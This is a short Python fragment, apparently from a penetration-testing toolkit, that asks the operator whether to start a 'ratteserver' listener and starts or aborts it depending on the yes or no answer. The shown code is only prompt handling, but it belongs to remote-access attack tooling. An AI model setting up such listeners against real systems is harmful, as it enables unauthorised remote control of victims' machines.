                           "Start the ratteserver listener now [yes|no]"))
        prompt = str.lower(prompt)
        if prompt == "no" or prompt == "n":
            # prompt = "NO"
            core.print_error("Aborting...")
            sleep(2)
            valid_response = True
        elif prompt == "yes" or prompt == "y":
            core.print_info("Starting ratteserver...")
            ratte_listener_start(ratteport)
            core.print_info("Stopping ratteserver...")
            sleep(2)
            valid_response = True
        else:
            core.print_warning(
                "valid responses are 'n|y|N|Y|no|yes|No|Yes|NO|YES'")